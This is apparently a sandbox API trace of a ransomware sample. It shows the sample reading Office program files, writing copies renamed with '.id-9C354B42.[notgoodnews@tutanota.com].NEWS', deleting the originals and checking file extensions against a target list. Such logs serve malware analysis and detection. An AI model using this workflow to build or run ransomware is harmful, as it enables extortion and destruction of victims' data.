[0262.807] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=312376) returned 1 [0262.807] CloseHandle (hObject=0x384) returned 1 [0262.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 0x20 [0262.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0262.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0262.854] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.854] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0266.606] GetLastError () returned 0x0 [0266.606] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x4c438, lpOverlapped=0x0) returned 1 [0266.626] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x4c440, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x4c440, lpOverlapped=0x0) returned 1 [0266.850] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0266.850] WriteFile (in: hFile=0x3bc, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0266.850] SetEndOfFile (hFile=0x3bc) returned 1 [0266.851] CloseHandle (hObject=0x3bc) returned 1 [0267.762] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0267.798] SetEndOfFile (hFile=0x384) returned 1 [0269.916] CloseHandle (hObject=0x384) returned 1 [0269.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\office10.mml")) returned 1 [0270.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.084] lstrlenW (lpString=".doc") returned 4 [0270.084] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0270.084] lstrlenW (lpString=".docx") returned 5 [0270.084] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0270.084] lstrlenW (lpString=".pdf") returned 4 [0270.084] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0270.084] lstrlenW (lpString=".xls") returned 4 [0270.084] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0270.084] lstrlenW (lpString=".xlsx") returned 5 [0270.084] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0270.085] lstrlenW (lpString=".ppt") returned 4 [0270.085] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0270.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.085] lstrlenW (lpString=".zip") returned 4 [0270.085] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0270.085] lstrlenW (lpString=".rar") returned 4 [0270.085] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0270.085] lstrlenW (lpString=".bz2") returned 4 [0270.085] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0270.085] lstrlenW (lpString=".7z") returned 3 [0270.085] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0270.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.086] lstrlenW (lpString=".dbf") returned 4 [0270.086] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0270.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.086] lstrlenW (lpString=".1cd") returned 4 [0270.086] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0270.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.086] lstrlenW (lpString=".jpg") returned 4 [0270.086] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0270.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.087] lstrlenW (lpString=".doc") returned 4 [0270.087] lstrcmpiW (lpString1=".doc", lpString2=".MML") returned -1 [0270.087] lstrlenW (lpString=".docx") returned 5 [0270.087] lstrcmpiW (lpString1=".docx", lpString2="0.MML") returned -1 [0270.087] lstrlenW (lpString=".pdf") returned 4 [0270.087] lstrcmpiW (lpString1=".pdf", lpString2=".MML") returned 1 [0270.087] lstrlenW (lpString=".xls") returned 4 [0270.087] lstrcmpiW (lpString1=".xls", lpString2=".MML") returned 1 [0270.087] lstrlenW (lpString=".xlsx") returned 5 [0270.087] lstrcmpiW (lpString1=".xlsx", lpString2="0.MML") returned -1 [0270.087] lstrlenW (lpString=".ppt") returned 4 [0270.087] lstrcmpiW (lpString1=".ppt", lpString2=".MML") returned 1 [0270.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.088] lstrlenW (lpString=".zip") returned 4 [0270.088] lstrcmpiW (lpString1=".zip", lpString2=".MML") returned 1 [0270.088] lstrlenW (lpString=".rar") returned 4 [0270.088] lstrcmpiW (lpString1=".rar", lpString2=".MML") returned 1 [0270.088] lstrlenW (lpString=".bz2") returned 4 [0270.088] lstrcmpiW (lpString1=".bz2", lpString2=".MML") returned -1 [0270.088] lstrlenW (lpString=".7z") returned 3 [0270.088] lstrcmpiW (lpString1=".7z", lpString2="MML") returned -1 [0270.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.088] lstrlenW (lpString=".dbf") returned 4 [0270.088] lstrcmpiW (lpString1=".dbf", lpString2=".MML") returned -1 [0270.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.089] lstrlenW (lpString=".1cd") returned 4 [0270.089] lstrcmpiW (lpString1=".1cd", lpString2=".MML") returned -1 [0270.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\OFFICE10.MML") returned 66 [0270.089] lstrlenW (lpString=".jpg") returned 4 [0270.089] lstrcmpiW (lpString1=".jpg", lpString2=".MML") returned -1 [0270.089] lstrcmpiW (lpString1=".VSL", lpString2=".NEWS") returned 1 [0270.090] lstrlenW (lpString="AECUTILS.VSL") returned 12 [0270.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.115] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=41864) returned 1 [0270.115] CloseHandle (hObject=0x3cc) returned 1 [0270.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 0x20 [0270.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0270.219] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.219] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0270.220] GetLastError () returned 0x0 [0270.220] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0xa388, lpOverlapped=0x0) returned 1 [0270.283] WriteFile (in: hFile=0x188, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xa390, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xa390, lpOverlapped=0x0) returned 1 [0270.289] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0270.289] WriteFile (in: hFile=0x188, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0270.289] SetEndOfFile (hFile=0x188) returned 1 [0270.289] CloseHandle (hObject=0x188) returned 1 [0270.290] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0270.290] SetEndOfFile (hFile=0x388) returned 1 [0270.300] CloseHandle (hObject=0x388) returned 1 [0270.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0270.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) returned 1 [0270.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.303] lstrlenW (lpString=".doc") returned 4 [0270.303] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0270.304] lstrlenW (lpString=".docx") returned 5 [0270.304] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0270.304] lstrlenW (lpString=".pdf") returned 4 [0270.304] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0270.304] lstrlenW (lpString=".xls") returned 4 [0270.304] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0270.304] lstrlenW (lpString=".xlsx") returned 5 [0270.304] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0270.304] lstrlenW (lpString=".ppt") returned 4 [0270.304] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0270.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.305] lstrlenW (lpString=".zip") returned 4 [0270.305] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0270.305] lstrlenW (lpString=".rar") returned 4 [0270.305] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0270.305] lstrlenW (lpString=".bz2") returned 4 [0270.305] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0270.305] lstrlenW (lpString=".7z") returned 3 [0270.305] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0270.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.305] lstrlenW (lpString=".dbf") returned 4 [0270.305] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0270.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.305] lstrlenW (lpString=".1cd") returned 4 [0270.306] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.306] lstrlenW (lpString=".jpg") returned 4 [0270.306] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.306] lstrlenW (lpString=".doc") returned 4 [0270.306] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0270.306] lstrlenW (lpString=".docx") returned 5 [0270.306] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1 [0270.307] lstrlenW (lpString=".pdf") returned 4 [0270.307] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0270.307] lstrlenW (lpString=".xls") returned 4 [0270.307] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0270.307] lstrlenW (lpString=".xlsx") returned 5 [0270.307] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1 [0270.307] lstrlenW (lpString=".ppt") returned 4 [0270.307] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0270.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.307] lstrlenW (lpString=".zip") returned 4 [0270.307] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0270.308] lstrlenW (lpString=".rar") returned 4 [0270.308] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0270.308] lstrlenW (lpString=".bz2") returned 4 [0270.308] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0270.308] lstrlenW (lpString=".7z") returned 3 [0270.308] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0270.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.308] lstrlenW (lpString=".dbf") returned 4 [0270.308] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0270.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.308] lstrlenW (lpString=".1cd") returned 4 [0270.308] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0270.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL") returned 60 [0270.308] lstrlenW (lpString=".jpg") returned 4 [0270.309] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0270.309] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0270.679] lstrlenW (lpString="BHOINTL.DLL") returned 11 [0270.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0270.923] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=10104) returned 1 [0270.923] CloseHandle (hObject=0x3cc) returned 1 [0270.923] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll")) returned 0x20 [0270.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0270.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0270.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0270.999] lstrlenW (lpString=".doc") returned 4 [0270.999] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0270.999] lstrlenW (lpString=".docx") returned 5 [0270.999] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0270.999] lstrlenW (lpString=".pdf") returned 4 [0270.999] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0270.999] lstrlenW (lpString=".xls") returned 4 [0271.000] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0271.000] lstrlenW (lpString=".xlsx") returned 5 [0271.000] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0271.000] lstrlenW (lpString=".ppt") returned 4 [0271.000] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0271.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.000] lstrlenW (lpString=".zip") returned 4 [0271.000] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0271.000] lstrlenW (lpString=".rar") returned 4 [0271.000] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0271.000] lstrlenW (lpString=".bz2") returned 4 [0271.000] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0271.000] lstrlenW (lpString=".7z") returned 3 [0271.001] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0271.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.001] lstrlenW (lpString=".dbf") returned 4 [0271.001] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0271.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.001] lstrlenW (lpString=".1cd") returned 4 [0271.001] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0271.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.001] lstrlenW (lpString=".jpg") returned 4 [0271.001] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0271.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.002] lstrlenW (lpString=".doc") returned 4 [0271.002] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0271.002] lstrlenW (lpString=".docx") returned 5 [0271.002] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0271.002] lstrlenW (lpString=".pdf") returned 4 [0271.002] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0271.002] lstrlenW (lpString=".xls") returned 4 [0271.002] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0271.002] lstrlenW (lpString=".xlsx") returned 5 [0271.003] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0271.003] lstrlenW (lpString=".ppt") returned 4 [0271.003] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0271.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.003] lstrlenW (lpString=".zip") returned 4 [0271.003] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0271.003] lstrlenW (lpString=".rar") returned 4 [0271.003] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0271.003] lstrlenW (lpString=".bz2") returned 4 [0271.003] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0271.003] lstrlenW (lpString=".7z") returned 3 [0271.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0271.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.004] lstrlenW (lpString=".dbf") returned 4 [0271.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0271.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.004] lstrlenW (lpString=".1cd") returned 4 [0271.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0271.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL") returned 59 [0271.004] lstrlenW (lpString=".jpg") returned 4 [0271.004] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0271.005] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0271.005] lstrlenW (lpString="ContactPickerIntl.dll") returned 21 [0271.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0271.006] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=16256) returned 1 [0271.006] CloseHandle (hObject=0x3bc) returned 1 [0271.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll")) returned 0x20 [0271.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.007] lstrlenW (lpString=".doc") returned 4 [0271.007] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0271.007] lstrlenW (lpString=".docx") returned 5 [0271.007] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0271.008] lstrlenW (lpString=".pdf") returned 4 [0271.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0271.008] lstrlenW (lpString=".xls") returned 4 [0271.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0271.008] lstrlenW (lpString=".xlsx") returned 5 [0271.008] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0271.008] lstrlenW (lpString=".ppt") returned 4 [0271.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0271.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.008] lstrlenW (lpString=".zip") returned 4 [0271.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0271.008] lstrlenW (lpString=".rar") returned 4 [0271.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0271.009] lstrlenW (lpString=".bz2") returned 4 [0271.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0271.009] lstrlenW (lpString=".7z") returned 3 [0271.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0271.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.009] lstrlenW (lpString=".dbf") returned 4 [0271.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0271.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.009] lstrlenW (lpString=".1cd") returned 4 [0271.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0271.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.009] lstrlenW (lpString=".jpg") returned 4 [0271.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0271.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.010] lstrlenW (lpString=".doc") returned 4 [0271.010] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0271.010] lstrlenW (lpString=".docx") returned 5 [0271.010] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0271.010] lstrlenW (lpString=".pdf") returned 4 [0271.010] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 